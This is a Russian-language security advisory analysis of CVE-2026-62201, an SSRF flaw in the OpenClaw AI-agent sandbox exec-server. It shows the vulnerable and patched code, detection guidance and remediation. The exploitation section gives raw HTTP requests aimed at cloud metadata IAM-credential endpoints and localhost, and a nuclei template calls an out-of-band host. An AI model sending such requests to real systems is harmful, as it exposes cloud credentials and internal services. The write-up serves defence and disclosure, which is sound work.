
Глубокий анализ CVE-2026-62201: обход сетевой политики песочницы OpenClaw exec-server (SSRF). Первопричина, уязвимый и исправленный код, эксплуатация, обнаружение, устранение.
| Поле | Значение |
|---|
| Консультация | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Продукт | OpenClaw (npm-пакет openclaw) — компонент песочницы exec-server |
| Затронутые версии | openclaw < 2026.6.6 |
| Исправлено в | 2026.6.6 и новее |
| Корневая причина | Отсутствие проверки SSRF во встроенном HTTP-помощнике exec-server (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Коммит с исправлением | 21410d1c — "fix(codex): guard sandbox http requests" |
| Вектор атаки | HTTP POST к обработчику http/request exec-server с управляемым атакующим URL |
| Воздействие | Вызывающий код с низкими привилегиями получает доступ к внутренним сетевым ресурсам (метаданные облака, частные IP-адреса, службы localhost), которые сетевая политика OpenClaw должна блокировать |
OpenClaw — это платформа для ИИ-агентов, чей exec-server песочницы предоставляет HTTP-помощник, который агенты используют для исходящих веб-запросов. Версии до 2026.6.6 поставляли этот помощник без защиты от SSRF: вызывающий код с более низким уровнем доверия — любой агент, инструмент или путь ввода данных, который платформа считает менее доверенным, чем оператор шлюза — мог отправить произвольный URL и заставить exec-server получить его изнутри сети хоста.
Проверки сетевой политики, применяемые к прямому исходящему трафику песочницы, не применялись, когда запросы проходили через HTTP-интерфейс exec-server. Эта несогласованность и является уязвимостью: exec-server действовал как неограниченный HTTP-прокси во внутреннюю сеть.
Когда OpenClaw запускает агента Codex в песочнице, он запускает локальный exec-server (extensions/codex/src/app-server/sandbox-exec-server.ts), который предоставляет методы JSON-RPC через транспорт WebSocket/HTTP. Один из этих методов, http/request, позволяет агенту получать URL-адреса. Реализация пропускает запрос через небольшой встроенный Python-скрипт — SANDBOX_HTTP_REQUEST_SCRIPT, — который выполняет фактическую работу urllib.
Обработчик запросов находится в extensions/codex/src/app-server/sandbox-exec-server/http.ts.
Python-помощник получал URL и проверял только схему:
# Из [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (сокращено)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
Это и есть весь барьер. Отсутствовало:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ выполнялся вслепуюРезультат: {"method":"GET","url":"http://<внутренний-хост>/"} возвращал тело внутреннего ответа вызывающему коду. Exec-server был открытым прокси в сеть хоста.
Коммит 21410d1c добавил эшелонированную защиту на обоих уровнях:
Уровень 1 — предварительная проверка TypeScript (assertSandboxHttpRequestTargetAllowed в http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Уровень 2 — усиление Python-помощника (assert_url_allowed во встроенном скрипте):
localhost, localhost.localdomain, metadata.google.internal, а также суффиксы *.localhost, *.local, *.internal169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, бенчмаркинг 198.18.0.0/15, документация 2001:db8::/32 и другиеipaddress: loopback, частные, link-local, multicast, зарезервированные, неопределённыеGuardedRedirectHandler: каждый переход по редиректу повторно запускает assert_url_allowed перед его выполнением::ffff:a.b.c.d), 6to4 (2002::/16), Teredo и ISATAP распаковываются, и их встроенный IPv4 проверяетсяdef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 с включённым exec-server песочницыhttp/request (платформа рассматривает это как доступ с низкими привилегиями — например, плагин, инструмент или путь ввода данных, а не оператор шлюза)Шаг 1 — Отправка запроса, нацеленного на внутренний сервис:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Шаг 2 — Уязвимый ответ (HTTP 200):
Exec-server получил внутренний URL и вернул тело ответа вызывающему коду — в base64-обёртке как bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Декодировано:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Шаг 3 — Ответ на исправленной версии (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
Внутренний ресурс недоступен через exec-server на исправленных версиях.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → учётные данные IAMhttp://127.0.0.1:<порт>/ для доступа к расположенным рядом неаутентифицированным интерфейсам управленияCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 Высокая
Важно понимать контекст консультации: модель доверенных операторов OpenClaw предполагает, что операторы шлюза доверенны. Ошибка в том, что поверхность с более низким уровнем доверия (плагины, инструменты, пути ввода данных) могла достигать ресурсов, которые политика должна была блокировать.
Доступен шаблон обнаружения — на основе OAST, не требующий предварительного знания внутренней топологии:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
Отправлено в вышестоящий репозиторий: projectdiscovery/nuclei-templates#17183
/exec/http (или эквиваленту WebSocket JSON-RPC), тело JSON которых содержит поле url, указывающее на частные/внутренние ресурсы169.254.169.254, 100.100.100.200)npm install [email protected] (или новее). Исправление добавляет полную проверку SSRF как на границе TS, так и внутри Python-помощника.2026.6.6Это исследование проводилось на основе публично раскрытых данных об уязвимостях и программного обеспечения, развёрнутого в изолированной лаборатории. Никакие действующие производственные системы, сторонние сети или исследования zero-day не задействованы. Все использованные здесь PoC представляют собой безвредные запросы только на чтение.